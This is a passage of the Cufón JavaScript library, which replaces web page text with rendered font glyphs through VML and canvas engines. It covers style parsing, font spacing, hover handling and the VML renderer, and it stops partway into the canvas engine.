/*!
 * Copyright (c) 2010 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version ${Version}
 */

var Cufon = (function() {

	var api = function() {
		return api.replace.apply(null, arguments);
	};

	var DOM = api.DOM = {

		ready: (function() {

			var complete = false, readyStatus = { loaded: 1, complete: 1 };

			var queue = [], perform = function() {
				if (complete) return;
				complete = true;
				for (var fn; fn = queue.shift(); fn());
			};

			// Gecko, Opera, WebKit r26101+

			if (document.addEventListener) {
				document.addEventListener('DOMContentLoaded', perform, false);
				window.addEventListener('pageshow', perform, false); // For cached Gecko pages
			}

			// Old WebKit, Internet Explorer

			if (!window.opera && document.readyState) (function() {
				readyStatus[document.readyState] ? perform() : setTimeout(arguments.callee, 10);
			})();

			// Internet Explorer

			if (document.readyState && document.createStyleSheet) (function() {
				try {
					document.body.doScroll('left');
					perform();
				}
				catch (e) {
					setTimeout(arguments.callee, 1);
				}
			})();

			addEvent(window, 'load', perform); // Fallback

			return function(listener) {
				if (!arguments.length) perform();
				else complete ? listener() : queue.push(listener);
			};

		})(),

		root: function() {
			return document.documentElement || document.body;
		}

	};

	var CSS = api.CSS = {

		Size: function(value, base) {

			this.value = parseFloat(value);
			this.unit = String(value).match(/[a-z%]*$/)[0] || 'px';

			this.convert = function(value) {
				return value / base * this.value;
			};

			this.convertFrom = function(value) {
				return value / this.value * base;
			};

			this.toString = function() {
				return this.value + this.unit;
			};

		},

		addClass: function(el, className) {
			var current = el.className;
			el.className = current + (current && ' ') + className;
			return el;
		},

		color: cached(function(value) {
			var parsed = {};
			parsed.color = value.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function($0, $1, $2) {
				parsed.opacity = parseFloat($2);
				return 'rgb(' + $1 + ')';
			});
			return parsed;
		}),

		// has no direct CSS equivalent.
		// @see http://msdn.microsoft.com/en-us/library/system.windows.fontstretches.aspx
		fontStretch: cached(function(value) {
			if (typeof value == 'number') return value;
			if (/%$/.test(value)) return parseFloat(value) / 100;
			return {
				'ultra-condensed': 0.5,
				'extra-condensed': 0.625,
				condensed: 0.75,
				'semi-condensed': 0.875,
				'semi-expanded': 1.125,
				expanded: 1.25,
				'extra-expanded': 1.5,
				'ultra-expanded': 2
			}[value] || 1;
		}),

		getStyle: function(el) {
			var view = document.defaultView;
			if (view && view.getComputedStyle) return new Style(view.getComputedStyle(el, null));
			if (el.currentStyle) return new Style(el.currentStyle);
			return new Style(el.style);
		},

		gradient: cached(function(value) {
			var gradient = {
				id: value,
				type: value.match(/^-([a-z]+)-gradient\(/)[1],
				stops: []
			}, colors = value.substr(value.indexOf('(')).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
			for (var i = 0, l = colors.length, stop; i < l; ++i) {
				stop = colors[i].split('=', 2).reverse();
				gradient.stops.push([ stop[1] || i / (l - 1), stop[0] ]);
			}
			return gradient;
		}),

		quotedList: cached(function(value) {
			// doesn't work properly with empty quoted strings (""), but
			// it's not worth the extra code.
			var list = [], re = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g, match;
			while (match = re.exec(value)) list.push(match[3] || match[1]);
			return list;
		}),

		recognizesMedia: cached(function(media) {
			var el = document.createElement('style'), sheet, container, supported;
			el.type = 'text/css';
			el.media = media;
			try { // this is cached anyway
				el.appendChild(document.createTextNode('/**/'));
			} catch (e) {}
			container = elementsByTagName('head')[0];
			container.insertBefore(el, container.firstChild);
			sheet = (el.sheet || el.styleSheet);
			supported = sheet && !sheet.disabled;
			container.removeChild(el);
			return supported;
		}),

		removeClass: function(el, className) {
			var re = RegExp('(?:^|\\s+)' + className +  '(?=\\s|$)', 'g');
			el.className = el.className.replace(re, '');
			return el;
		},

		supports: function(property, value) {
			var checker = document.createElement('span').style;
			if (checker[property] === undefined) return false;
			checker[property] = value;
			return checker[property] === value;
		},

		textAlign: function(word, style, position, wordCount) {
			if (style.get('textAlign') == 'right') {
				if (position > 0) word = ' ' + word;
			}
			else if (position < wordCount - 1) word += ' ';
			return word;
		},

		textShadow: cached(function(value) {
			if (value == 'none') return null;
			var shadows = [], currentShadow = {}, result, offCount = 0;
			var re = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
			while (result = re.exec(value)) {
				if (result[0] == ',') {
					shadows.push(currentShadow);
					currentShadow = {};
					offCount = 0;
				}
				else if (result[1]) {
					currentShadow.color = result[1];
				}
				else {
					currentShadow[[ 'offX', 'offY', 'blur' ][offCount++]] = result[2];
				}
			}
			shadows.push(currentShadow);
			return shadows;
		}),

		textTransform: (function() {
			var map = {
				uppercase: function(s) {
					return s.toUpperCase();
				},
				lowercase: function(s) {
					return s.toLowerCase();
				},
				capitalize: function(s) {
					return s.replace(/(?:^|\s)./g, function($0) {
						return $0.toUpperCase();
					});
				}
			};
			return function(text, style) {
				var transform = map[style.get('textTransform')];
				return transform ? transform(text) : text;
			};
		})(),

		whiteSpace: (function() {
			var ignore = {
				inline: 1,
				'inline-block': 1,
				'run-in': 1
			};
			var wsStart = /^\s+/, wsEnd = /\s+$/;
			return function(text, style, node, previousElement, simple) {
				if (simple) return text.replace(wsStart, '').replace(wsEnd, ''); // @fixme too simple
				if (previousElement) {
					if (previousElement.nodeName.toLowerCase() == 'br') {
						text = text.replace(wsStart, '');
					}
				}
				if (ignore[style.get('display')]) return text;
				if (!node.previousSibling) text = text.replace(wsStart, '');
				if (!node.nextSibling) text = text.replace(wsEnd, '');
				return text;
			};
		})()

	};

	CSS.ready = (function() {

		// don't do anything in Safari 2 (it doesn't recognize any media type)
		var complete = !CSS.recognizesMedia('all'), hasLayout = false;

		var queue = [], perform = function() {
			complete = true;
			for (var fn; fn = queue.shift(); fn());
		};

		var links = elementsByTagName('link'), styles = elementsByTagName('style');

		function isContainerReady(el) {
			return el.disabled || isSheetReady(el.sheet, el.media || 'screen');
		}

		function isSheetReady(sheet, media) {
			// in Opera sheet.disabled is true when it's still loading,
			// even though link.disabled is false. they stay in sync if
			// set manually.
			if (!CSS.recognizesMedia(media || 'all')) return true;
			if (!sheet || sheet.disabled) return false;
			try {
				var rules = sheet.cssRules, rule;
				if (rules) {
					// needed for Safari 3 and Chrome 1.0.
					// in standards-conforming browsers cssRules contains @-rules.
					// Chrome 1.0 weirdness: rules[<number larger than .length - 1>]
					// returns the last rule, so a for loop is the only option.
					search: for (var i = 0, l = rules.length; rule = rules[i], i < l; ++i) {
						switch (rule.type) {
							case 2: // @charset
								break;
							case 3: // @import
								if (!isSheetReady(rule.styleSheet, rule.media.mediaText)) return false;
								break;
							default:
								// only @charset can precede @import
								break search;

						}
					}
				}
			}
			catch (e) {} // probably a style sheet from another domain
			return true;
		}

		function allStylesLoaded() {
			// Internet Explorer's style sheet model, there's no need to do anything
			if (document.createStyleSheet) return true;
			// standards-compliant browsers
			var el, i;
			for (i = 0; el = links[i]; ++i) {
				if (el.rel.toLowerCase() == 'stylesheet' && !isContainerReady(el)) return false;
			}
			for (i = 0; el = styles[i]; ++i) {
				if (!isContainerReady(el)) return false;
			}
			return true;
		}

		DOM.ready(function() {
			// getComputedStyle returns null in Gecko if used in an iframe with display: none
			if (!hasLayout) hasLayout = CSS.getStyle(document.body).isUsable();
			if (complete || (hasLayout && allStylesLoaded())) perform();
			else setTimeout(arguments.callee, 10);
		});

		return function(listener) {
			if (complete) listener();
			else queue.push(listener);
		};

	})();

	function Font(data) {

		var face = this.face = data.face, wordSeparators = {
			'\u0020': 1,
			'\u00a0': 1,
			'\u3000': 1
		};

		this.glyphs = (function(glyphs) {
			var key, fallbacks = {
				'\u2011': '\u002d',
				'\u00ad': '\u2011'
			};
			for (key in fallbacks) {
				if (!hasOwnProperty(fallbacks, key)) continue;
				if (!glyphs[key]) glyphs[key] = glyphs[fallbacks[key]];
			}
			return glyphs;
		})(data.glyphs);

		this.w = data.w;
		this.baseSize = parseInt(face['units-per-em'], 10);

		this.family = face['font-family'].toLowerCase();
		this.weight = face['font-weight'];
		this.style = face['font-style'] || 'normal';

		this.viewBox = (function () {
			var parts = face.bbox.split(/\s+/);
			var box = {
				minX: parseInt(parts[0], 10),
				minY: parseInt(parts[1], 10),
				maxX: parseInt(parts[2], 10),
				maxY: parseInt(parts[3], 10)
			};
			box.width = box.maxX - box.minX;
			box.height = box.maxY - box.minY;
			box.toString = function() {
				return [ this.minX, this.minY, this.width, this.height ].join(' ');
			};
			return box;
		})();

		this.ascent = -parseInt(face.ascent, 10);
		this.descent = -parseInt(face.descent, 10);

		this.height = -this.ascent + this.descent;

		this.spacing = function(chars, letterSpacing, wordSpacing) {
			var glyphs = this.glyphs, glyph,
				kerning, k,
				jumps = [],
				width = 0, w,
				i = -1, j = -1, chr;
			while (chr = chars[++i]) {
				glyph = glyphs[chr] || this.missingGlyph;
				if (!glyph) continue;
				if (kerning) {
					width -= k = kerning[chr] || 0;
					jumps[j] -= k;
				}
				w = glyph.w;
				if (isNaN(w)) w = +this.w; // may have been a String in old fonts
				if (w > 0) {
					w += letterSpacing;
					if (wordSeparators[chr]) w += wordSpacing;
				}
				width += jumps[++j] = ~~w; // get rid of decimals
				kerning = glyph.k;
			}
			jumps.total = width;
			return jumps;
		};

	}

	function FontFamily() {

		var styles = {}, mapping = {
			oblique: 'italic',
			italic: 'oblique'
		};

		this.add = function(font) {
			(styles[font.style] || (styles[font.style] = {}))[font.weight] = font;
		};

		this.get = function(style, weight) {
			var weights = styles[style] || styles[mapping[style]]
				|| styles.normal || styles.italic || styles.oblique;
			if (!weights) return null;
			// we don't have to worry about "bolder" and "lighter"
			// because IE's currentStyle returns a numeric value for it,
			// and other browsers use the computed value anyway
			weight = {
				normal: 400,
				bold: 700
			}[weight] || parseInt(weight, 10);
			if (weights[weight]) return weights[weight];
			// http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight
			// Gecko uses x99/x01 for lighter/bolder
			var up = {
				1: 1,
				99: 0
			}[weight % 100], alts = [], min, max;
			if (up === undefined) up = weight > 400;
			if (weight == 500) weight = 400;
			for (var alt in weights) {
				if (!hasOwnProperty(weights, alt)) continue;
				alt = parseInt(alt, 10);
				if (!min || alt < min) min = alt;
				if (!max || alt > max) max = alt;
				alts.push(alt);
			}
			if (weight < min) weight = min;
			if (weight > max) weight = max;
			alts.sort(function(a, b) {
				return (up
					? (a >= weight && b >= weight) ? a < b : a > b
					: (a <= weight && b <= weight) ? a > b : a < b) ? -1 : 1;
			});
			return weights[alts[0]];
		};

	}

	function HoverHandler() {

		function contains(node, anotherNode) {
			try {
				if (node.contains) return node.contains(anotherNode);
				return node.compareDocumentPosition(anotherNode) & 16;
			}
			catch(e) {} // probably a XUL element such as a scrollbar
			return false;
		}

		function onOverOut(e) {
			var related = e.relatedTarget;
			// there might be no relatedTarget if the element is right next
			// to the window frame
			if (related && contains(this, related)) return;
			trigger(this, e.type == 'mouseover');
		}

		function onEnterLeave(e) {
			trigger(this, e.type == 'mouseenter');
		}

		function trigger(el, hoverState) {
			// A timeout is needed so that the event can actually "happen"
			// before replace is triggered. This ensures that styles are up
			// to date.
			setTimeout(function() {
				var options = sharedStorage.get(el).options;
				api.replace(el, hoverState ? merge(options, options.hover) : options, true);
			}, 10);
		}

		this.attach = function(el) {
			if (el.onmouseenter === undefined) {
				addEvent(el, 'mouseover', onOverOut);
				addEvent(el, 'mouseout', onOverOut);
			}
			else {
				addEvent(el, 'mouseenter', onEnterLeave);
				addEvent(el, 'mouseleave', onEnterLeave);
			}
		};

	}

	function ReplaceHistory() {

		var list = [], map = {};

		function filter(keys) {
			var values = [], key;
			for (var i = 0; key = keys[i]; ++i) values[i] = list[map[key]];
			return values;
		}

		this.add = function(key, args) {
			map[key] = list.push(args) - 1;
		};

		this.repeat = function() {
			var snapshot = arguments.length ? filter(arguments) : list, args;
			for (var i = 0; args = snapshot[i++];) api.replace(args[0], args[1], true);
		};

	}

	function Storage() {

		var map = {}, at = 0;

		function identify(el) {
			return el.cufid || (el.cufid = ++at);
		}

		this.get = function(el) {
			var id = identify(el);
			return map[id] || (map[id] = {});
		};

	}

	function Style(style) {

		var custom = {}, sizes = {};

		this.extend = function(styles) {
			for (var property in styles) {
				if (hasOwnProperty(styles, property)) custom[property] = styles[property];
			}
			return this;
		};

		this.get = function(property) {
			return custom[property] != undefined ? custom[property] : style[property];
		};

		this.getSize = function(property, base) {
			return sizes[property] || (sizes[property] = new CSS.Size(this.get(property), base));
		};

		this.isUsable = function() {
			return !!style;
		};

	}

	function addEvent(el, type, listener) {
		if (el.addEventListener) {
			el.addEventListener(type, listener, false);
		}
		else if (el.attachEvent) {
			el.attachEvent('on' + type, function() {
				return listener.call(el, window.event);
			});
		}
	}

	function attach(el, options) {
		var storage = sharedStorage.get(el);
		if (storage.options) return el;
		if (options.hover && options.hoverables[el.nodeName.toLowerCase()]) {
			hoverHandler.attach(el);
		}
		storage.options = options;
		return el;
	}

	function cached(fun) {
		var cache = {};
		return function(key) {
			if (!hasOwnProperty(cache, key)) cache[key] = fun.apply(null, arguments);
			return cache[key];
		};
	}

	function getFont(el, style) {
		var families = CSS.quotedList(style.get('fontFamily').toLowerCase()), family;
		for (var i = 0; family = families[i]; ++i) {
			if (fonts[family]) return fonts[family].get(style.get('fontStyle'), style.get('fontWeight'));
		}
		return null;
	}

	function elementsByTagName(query) {
		return document.getElementsByTagName(query);
	}

	function hasOwnProperty(obj, property) {
		return obj.hasOwnProperty(property);
	}

	function merge() {
		var merged = {}, arg, key;
		for (var i = 0, l = arguments.length; arg = arguments[i], i < l; ++i) {
			for (key in arg) {
				if (hasOwnProperty(arg, key)) merged[key] = arg[key];
			}
		}
		return merged;
	}

	function process(font, text, style, options, node, el) {
		var fragment = document.createDocumentFragment(), processed;
		if (text === '') return fragment;
		var separate = options.separate;
		var parts = text.split(separators[separate]), needsAligning = (separate == 'words');
		if (needsAligning && HAS_BROKEN_REGEXP) {
			// @todo figure out a better way to do this
			if (/^\s/.test(text)) parts.unshift('');
			if (/\s$/.test(text)) parts.push('');
		}
		for (var i = 0, l = parts.length; i < l; ++i) {
			processed = engines[options.engine](font,
				needsAligning ? CSS.textAlign(parts[i], style, i, l) : parts[i],
				style, options, node, el, i < l - 1);
			if (processed) fragment.appendChild(processed);
		}
		return fragment;
	}

	function replaceElement(el, options) {
		var name = el.nodeName.toLowerCase();
		if (options.ignore[name]) return;
		if (options.onBeforeReplace) options.onBeforeReplace(el, options);
		var replace = !options.textless[name], simple = (options.trim === 'simple');
		var style = CSS.getStyle(attach(el, options)).extend(options);
		// may cause issues if the element contains other elements
		// with larger fontSize, however such cases are rare and can
		// be fixed by using a more specific selector
		if (parseFloat(style.get('fontSize')) === 0) return;
		var font = getFont(el, style), node, type, next, anchor, text, lastElement;
		var isShy = options.softHyphens, anyShy = false, pos, shy, reShy = /\u00ad/g;
		var modifyText = options.modifyText;
		if (!font) return;
		for (node = el.firstChild; node; node = next) {
			type = node.nodeType;
			next = node.nextSibling;
			if (replace && type == 3) {
				if (isShy && el.nodeName.toLowerCase() != TAG_SHY) {
					pos = node.data.indexOf('\u00ad');
					if (pos >= 0) {
						node.splitText(pos);
						next = node.nextSibling;
						next.deleteData(0, 1);
						shy = document.createElement(TAG_SHY);
						shy.appendChild(document.createTextNode('\u00ad'));
						el.insertBefore(shy, next);
						next = shy;
						anyShy = true;
					}
				}
				// Node.normalize() is broken in IE 6, 7, 8
				if (anchor) {
					anchor.appendData(node.data);
					el.removeChild(node);
				}
				else anchor = node;
				if (next) continue;
			}
			if (anchor) {
				text = anchor.data;
				if (!isShy) text = text.replace(reShy, '');
				text = CSS.whiteSpace(text, style, anchor, lastElement, simple);
				// modify text only on the first replace
				if (modifyText) text = modifyText(text, anchor, el, options);
				el.replaceChild(process(font, text, style, options, node, el), anchor);
				anchor = null;
			}
			if (type == 1) {
				if (node.firstChild) {
					if (node.nodeName.toLowerCase() == 'cufon') {
						engines[options.engine](font, null, style, options, node, el);
					}
					else arguments.callee(node, options);
				}
				lastElement = node;
			}
		}
		if (isShy && anyShy) {
			updateShy(el);
			if (!trackingShy) addEvent(window, 'resize', updateShyOnResize);
			trackingShy = true;
		}
		if (options.onAfterReplace) options.onAfterReplace(el, options);
	}

	function updateShy(context) {
		var shys, shy, parent, glue, newGlue, next, prev, i;
		shys = context.getElementsByTagName(TAG_SHY);
		// unfortunately there doesn't seem to be any easy
		// way to avoid having to loop through the shys twice.
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = C_SHY_DISABLED;
			glue = parent = shy.parentNode;
			if (glue.nodeName.toLowerCase() != TAG_GLUE) {
				newGlue = document.createElement(TAG_GLUE);
				newGlue.appendChild(shy.previousSibling);
				parent.insertBefore(newGlue, shy);
				newGlue.appendChild(shy);
			}
			else {
				// get rid of double glue (edge case fix)
				glue = glue.parentNode;
				if (glue.nodeName.toLowerCase() == TAG_GLUE) {
					parent = glue.parentNode;
					while (glue.firstChild) {
						parent.insertBefore(glue.firstChild, glue);
					}
					parent.removeChild(glue);
				}
			}
		}
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = '';
			glue = shy.parentNode;
			parent = glue.parentNode;
			next = glue.nextSibling || parent.nextSibling;
			// make sure we're comparing same types
			prev = (next.nodeName.toLowerCase() == TAG_GLUE) ? glue : shy.previousSibling;
			if (prev.offsetTop >= next.offsetTop) {
				shy.className = C_SHY_DISABLED;
				if (prev.offsetTop < next.offsetTop) {
					// we have an annoying edge case, double the glue
					newGlue = document.createElement(TAG_GLUE);
					parent.insertBefore(newGlue, glue);
					newGlue.appendChild(glue);
					newGlue.appendChild(next);
				}
			}
		}
	}

	function updateShyOnResize() {
		if (ignoreResize) return; // needed for IE
		CSS.addClass(DOM.root(), C_VIEWPORT_RESIZING);
		clearTimeout(shyTimer);
		shyTimer = setTimeout(function() {
			ignoreResize = true;
			CSS.removeClass(DOM.root(), C_VIEWPORT_RESIZING);
			updateShy(document);
			ignoreResize = false;
		}, 100);
	}

	var HAS_BROKEN_REGEXP = ' '.split(/\s+/).length == 0;
	var TAG_GLUE = 'cufonglue';
	var TAG_SHY = 'cufonshy';
	var C_SHY_DISABLED = 'cufon-shy-disabled';
	var C_VIEWPORT_RESIZING = 'cufon-viewport-resizing';

	var sharedStorage = new Storage();
	var hoverHandler = new HoverHandler();
	var replaceHistory = new ReplaceHistory();
	var initialized = false;
	var trackingShy = false;
	var shyTimer;
	var ignoreResize = false;

	var engines = {}, fonts = {}, defaultOptions = {
		autoDetect: false,
		engine: null,
		//fontScale: 1,
		//fontScaling: false,
		forceHitArea: false,
		hover: false,
		hoverables: {
			a: true
		},
		ignore: {
			applet: 1,
			canvas: 1,
			col: 1,
			colgroup: 1,
			head: 1,
			iframe: 1,
			map: 1,
			noscript: 1,
			optgroup: 1,
			option: 1,
			script: 1,
			select: 1,
			style: 1,
			textarea: 1,
			title: 1,
			pre: 1
		},
		modifyText: null,
		onAfterReplace: null,
		onBeforeReplace: null,
		printable: true,
		//rotation: 0,
		//selectable: false,
		selector: (
				window.Sizzle
			||	(window.jQuery && function(query) { return jQuery(query); }) // avoid noConflict issues
			||	(window.dojo && dojo.query)
			||	(window.glow && glow.dom && glow.dom.get)
			||	(window.Ext && Ext.query)
			||	(window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query)
			||	(window.$$ && function(query) { return $$(query); })
			||	(window.$ && function(query) { return $(query); })
			||	(document.querySelectorAll && function(query) { return document.querySelectorAll(query); })
			||	elementsByTagName
		),
		separate: 'words', // 'none' and 'characters' are also accepted
		softHyphens: true,
		textless: {
			dl: 1,
			html: 1,
			ol: 1,
			table: 1,
			tbody: 1,
			thead: 1,
			tfoot: 1,
			tr: 1,
			ul: 1
		},
		textShadow: 'none',
		trim: 'advanced'
	};

	var separators = {
		// The first pattern may cause unicode characters above
		// code point 255 to be removed in Safari 3.0. Luckily enough
		// Safari 3.0 does not include non-breaking spaces in \s, so
		// we can just use a simple alternative pattern.
		words: /\s/.test('\u00a0') ? /[^\S\u00a0]+/ : /\s+/,
		characters: '',
		none: /^/
	};

	api.now = function() {
		DOM.ready();
		return api;
	};

	api.refresh = function() {
		replaceHistory.repeat.apply(replaceHistory, arguments);
		return api;
	};

	api.registerEngine = function(id, engine) {
		if (!engine) return api;
		engines[id] = engine;
		return api.set('engine', id);
	};

	api.registerFont = function(data) {
		if (!data) return api;
		var font = new Font(data), family = font.family;
		if (!fonts[family]) fonts[family] = new FontFamily();
		fonts[family].add(font);
		return api.set('fontFamily', '"' + family + '"');
	};

	api.replace = function(elements, options, ignoreHistory) {
		options = merge(defaultOptions, options);
		if (!options.engine) return api; // there's no browser support so we'll just stop here
		if (!initialized) {
			CSS.addClass(DOM.root(), 'cufon-active cufon-loading');
			CSS.ready(function() {
				// fires before any replace() calls, but it doesn't really matter
				CSS.addClass(CSS.removeClass(DOM.root(), 'cufon-loading'), 'cufon-ready');
			});
			initialized = true;
		}
		if (options.hover) options.forceHitArea = true;
		if (options.autoDetect) delete options.fontFamily;
		if (typeof options.textShadow == 'string') {
			options.textShadow = CSS.textShadow(options.textShadow);
		}
		if (typeof options.color == 'string' && /^-/.test(options.color)) {
			options.textGradient = CSS.gradient(options.color);
		}
		else delete options.textGradient;
		if (!ignoreHistory) replaceHistory.add(elements, arguments);
		if (elements.nodeType || typeof elements == 'string') elements = [ elements ];
		CSS.ready(function() {
			for (var i = 0, l = elements.length; i < l; ++i) {
				var el = elements[i];
				if (typeof el == 'string') api.replace(options.selector(el), options, true);
				else replaceElement(el, options);
			}
		});
		return api;
	};

	api.set = function(option, value) {
		defaultOptions[option] = value;
		return api;
	};

	return api;

})();

Cufon.registerEngine('vml', (function() {

	var ns = document.namespaces;
	if (!ns) return;
	ns.add('cvml', 'urn:schemas-microsoft-com:vml');
	ns = null;

	var check = document.createElement('cvml:shape');
	check.style.behavior = 'url(#default#VML)';
	if (!check.coordsize) return; // VML isn't supported
	check = null;

	var HAS_BROKEN_LINEHEIGHT = (document.documentMode || 0) < 8;

	document.write(('<style type="text/css">' +
		'cufoncanvas{text-indent:0;}' +
		'@media screen{' +
			'cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}' +
			'cufoncanvas{position:absolute;text-align:left;}' +
			'cufon{display:inline-block;position:relative;vertical-align:' +
			(HAS_BROKEN_LINEHEIGHT
				? 'middle'
				: 'text-bottom') +
			';}' +
			'cufon cufontext{position:absolute;left:-10000in;font-size:1px;text-align:left;}' +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
			'a cufon{cursor:pointer}' + // ignore !important here
		'}' +
		'@media print{' +
			'cufon cufoncanvas{display:none;}' +
		'}' +
	'</style>').replace(/;/g, '!important;'));

	function getFontSizeInPixels(el, value) {
		return getSizeInPixels(el, /(?:em|ex|%)$|^[a-z-]+$/i.test(value) ? '1em' : value);
	}

	// Original by Dead Edwards.
	// Combined with getFontSizeInPixels it also works with relative units.
	function getSizeInPixels(el, value) {
		if (!isNaN(value) || /px$/i.test(value)) return parseFloat(value);
		var style = el.style.left, runtimeStyle = el.runtimeStyle.left;
		el.runtimeStyle.left = el.currentStyle.left;
		el.style.left = value.replace('%', 'em');
		var result = el.style.pixelLeft;
		el.style.left = style;
		el.runtimeStyle.left = runtimeStyle;
		return result;
	}

	function getSpacingValue(el, style, size, property) {
		var key = 'computed' + property, value = style[key];
		if (isNaN(value)) {
			value = style.get(property);
			style[key] = value = (value == 'normal') ? 0 : ~~size.convertFrom(getSizeInPixels(el, value));
		}
		return value;
	}

	var fills = {};

	function gradientFill(gradient) {
		var id = gradient.id;
		if (!fills[id]) {
			var stops = gradient.stops, fill = document.createElement('cvml:fill'), colors = [];
			fill.type = 'gradient';
			fill.angle = 180;
			fill.focus = '0';
			fill.method = 'none';
			fill.color = stops[0][1];
			for (var j = 1, k = stops.length - 1; j < k; ++j) {
				colors.push(stops[j][0] * 100 + '% ' + stops[j][1]);
			}
			fill.colors = colors.join(',');
			fill.color2 = stops[k][1];
			fills[id] = fill;
		}
		return fills[id];
	}

	return function(font, text, style, options, node, el, hasNext) {

		var redraw = (text === null);

		if (redraw) text = node.alt;

		var viewBox = font.viewBox;

		var size = style.computedFontSize || (style.computedFontSize = new Cufon.CSS.Size(getFontSizeInPixels(el, style.get('fontSize')) + 'px', font.baseSize));

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-vml';
			wrapper.alt = text;

			canvas = document.createElement('cufoncanvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}

			// ie6, for some reason, has trouble rendering the last VML element in the document.
			// we can work around this by injecting a dummy element where needed.
			// @todo find a better solution
			if (!hasNext) wrapper.appendChild(document.createElement('cvml:shape'));
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height), roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var minX = viewBox.minX, minY = viewBox.minY;

		cStyle.height = roundedHeight;
		cStyle.top = Math.round(size.convert(minY - font.ascent));
		cStyle.left = Math.round(size.convert(minX));

		wStyle.height = size.convert(font.height) + 'px';

		var color = style.get('color');
		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			getSpacingValue(el, style, size, 'letterSpacing'),
			getSpacingValue(el, style, size, 'wordSpacing')
		);

		if (!jumps.length) return null;

		var width = jumps.total;
		var fullWidth = -minX + width + (viewBox.width - jumps[jumps.length - 1]);

		var shapeWidth = size.convert(fullWidth * stretchFactor), roundedShapeWidth = Math.round(shapeWidth);

		var coordSize = fullWidth + ',' + viewBox.height, coordOrigin;
		var stretch = 'r' + coordSize + 'ns';

		var fill = options.textGradient && gradientFill(options.textGradient);

		var glyphs = font.glyphs, offsetX = 0;
		var shadows = options.textShadow;
		var i = -1, j = 0, chr;

		while (chr = chars[++i]) {

			var glyph = glyphs[chars[i]] || font.missingGlyph, shape;
			if (!glyph) continue;

			if (redraw) {
				// some glyphs may be missing so we can't use i
				shape = canvas.childNodes[j];
				while (shape.firstChild) shape.removeChild(shape.firstChild); // shadow, fill
			}
			else {
				shape = document.createElement('cvml:shape');
				canvas.appendChild(shape);
			}

			shape.stroked = 'f';
			shape.coordsize = coordSize;
			shape.coordorigin = coordOrigin = (minX - offsetX) + ',' + minY;
			shape.path = (glyph.d ? 'm' + glyph.d + 'xe' : '') + 'm' + coordOrigin + stretch;
			shape.fillcolor = color;

			if (fill) shape.appendChild(fill.cloneNode(false));

			// it's important to not set top/left or IE8 will grind to a halt
			var sStyle = shape.style;
			sStyle.width = roundedShapeWidth;
			sStyle.height = roundedHeight;

			if (shadows) {
				// due to the limitations of the VML shadow element there
				// can only be two visible shadows. opacity is shared
				// for all shadows.
				var shadow1 = shadows[0], shadow2 = shadows[1];
				var color1 = Cufon.CSS.color(shadow1.color), color2;
				var shadow = document.createElement('cvml:shadow');
				shadow.on = 't';
				shadow.color = color1.color;
				shadow.offset = shadow1.offX + ',' + shadow1.offY;
				if (shadow2) {
					color2 = Cufon.CSS.color(shadow2.color);
					shadow.type = 'double';
					shadow.color2 = color2.color;
					shadow.offset2 = shadow2.offX + ',' + shadow2.offY;
				}
				shadow.opacity = color1.opacity || (color2 && color2.opacity) || 1;
				shape.appendChild(shadow);
			}

			offsetX += jumps[j++];
		}

		// addresses flickering issues on :hover

		var cover = shape.nextSibling, coverFill, vStyle;

		if (options.forceHitArea) {

			if (!cover) {
				cover = document.createElement('cvml:rect');
				cover.stroked = 'f';
				cover.className = 'cufon-vml-cover';
				coverFill = document.createElement('cvml:fill');
				coverFill.opacity = 0;
				cover.appendChild(coverFill);
				canvas.appendChild(cover);
			}

			vStyle = cover.style;

			vStyle.width = roundedShapeWidth;
			vStyle.height = roundedHeight;

		}
		else if (cover) canvas.removeChild(cover);

		wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

		if (HAS_BROKEN_LINEHEIGHT) {

			var yAdjust = style.computedYAdjust;

			if (yAdjust === undefined) {
				var lineHeight = style.get('lineHeight');
				if (lineHeight == 'normal') lineHeight = '1em';
				else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
				style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
			}

			if (yAdjust) {
				wStyle.marginTop = Math.ceil(yAdjust) + 'px';
				wStyle.marginBottom = yAdjust + 'px';
			}

		}

		return wrapper;

	};

})());

Cufon.registerEngine('canvas', (function() {

	// Safari 2 doesn't support .apply() on native methods

	var check = document.createElement('canvas');
	if (!check || !check.getContext || !check.getContext.apply) return;
	check = null;

	var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

	// Firefox 2 w/ non-strict doctype (almost standards mode)
	var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

	var styleSheet = document.createElement('style');
	styleSheet.type = 'text/css';
	styleSheet.appendChild(document.createTextNode((
		'cufon{text-indent:0;}' +
		'@media screen,projection{' +
			'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
			(HAS_BROKEN_LINEHEIGHT
				? ''
				: 'font-size:1px;line-height:1px;') +
